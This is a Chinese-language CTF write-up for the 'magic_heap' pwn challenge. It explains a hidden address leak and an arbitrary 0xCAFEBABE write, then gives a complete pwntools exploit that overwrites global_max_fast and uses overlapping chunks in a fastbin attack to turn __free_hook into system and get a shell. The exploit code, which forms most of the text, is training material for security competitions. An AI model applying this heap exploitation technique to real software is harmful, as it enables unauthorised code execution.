10.26星盟awd之magic_heap

程序保护全开,程序功能:

1
2
3
4
1.add
2.delete
3.edit
4.exit

但是有一个隐藏功能:666可打印出基地址

1
2
3
4
5
6
if ( v5 == 666 )
{
v3 = (int *)&gra123;
v4 = "%p\n";
printf("%p\n", &gra123);
}

1、add函数

中规中矩没有漏洞,但是限制大小0x90~0x2333也就是没有fastbin

2、delete函数

正常free,没有UAF,没有下标越界等情况

3、edit函数

神奇的是这个edit函数,啥都不干,就给你个任意地址写

1
2
3
4
5
6
7
8
9
puts("Name:");
read(0, &buf, 0x28uLL);
bssname = buf;
qword_2020E8 = v2;
qword_2020F0 = v3;
qword_2020F8 = v4;
lclp = (__int64)v5;
*v5 = 0xCAFEBABELL; //任意地址写入0xCAFEBABE
puts("OK");

所以整个程序,在知道基地址的情况下,有个任意地址写漏洞,虽然写入的内容不可控,但是还是很有用的

首先先泄漏libc地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
add(0x98,'a')#0
add(0x98,'b')#1
add(0x98,'c')#2
add(0xb8,'d')#3
add(0x98,'/bin/sh\x00')#4
delete(0)

add(0x98,'a')#0
ru("Content is:\n")
main_arena = u64(rc(6).ljust(8,'\x00')) - 65
libc_base = main_arena - 0x3c4b20
system = libc_base + libc.symbols['system']
free_hook = libc_base + libc.symbols['__free_hook']
global_max_fast = libc_base + 0x3c67f8
log.warn("main_arena --> %s",hex(main_arena))
log.warn("libc_base --> %s",hex(libc_base))

在得到libc和基地址的基础上,因为add的大小被限制了,但是可以任意地址写,所以这里把global_max_fast直接写成0xCAFEBABELL

接下来,只需要构造fastbin attack申请出free_hook修改成system即可,具体如下:

1、同样利用任意地址写修改free_hook - 0x80xca作为size

2、利用任意地址写攻击gra123位置(即存放堆的全局变量),构造overlap

3、将free_hook链上去申请出来

(这里overlap具体还要自己去理解)大概就是将一个大的把一个小的包住,然后两个都free掉,再申请这个大的时候就能够修改小的堆的fd

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#coding:utf-8
from pwn import *
context.log_level = 'debug'
local = 1
if local:
p = process('./pwn')
elf = ELF('./pwn')
libc = elf.libc
else:
p = remote("")
# elf = ELF('./')
#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
def add(size,message):
sla("4.exit\n",'1')
sla("Length:\n",str(size))
sda("Content:\n",message)

def delete(id):
sla("4.exit\n",'2')
sla("Id:\n",str(id))

def edit(message):
sla("4.exit\n",'3')
sla("Name:\n",message)

sla("4.exit\n",'666')
message_addr = int(rl(),16)
log.warn("message_addr --> %s",hex(message_addr))

add(0x98,'a')#0
add(0x98,'b')#1
add(0x98,'c')#2
add(0xb8,'d')#3
add(0x98,'/bin/sh\x00')#4
delete(0)

add(0x98,'a')#0
ru("Content is:\n")
main_arena = u64(rc(6).ljust(8,'\x00')) - 65
libc_base = main_arena - 0x3c4b20
system = libc_base + libc.symbols['system']
free_hook = libc_base + libc.symbols['__free_hook']
global_max_fast = libc_base + 0x3c67f8
log.warn("main_arena --> %s",hex(main_arena))
log.warn("libc_base --> %s",hex(libc_base))

edit(0x20*'a' + p64(global_max_fast))
edit(0x20*'a' + p64(free_hook - 0x8-3))

delete(1)
add(0x98,0x40*'a' + p64(0) + p64(0x251))
edit(0x20*'a' + p64(message_addr + 9))
delete(2)
delete(3)
add(0x248,0xe0*'a' + p64(0) + p64(0xc1) + p64(free_hook-0x10)*2)
add(0xb8,'b')
add(0xb8,p64(system))
delete(4)
# debug()

p.interactive()
0%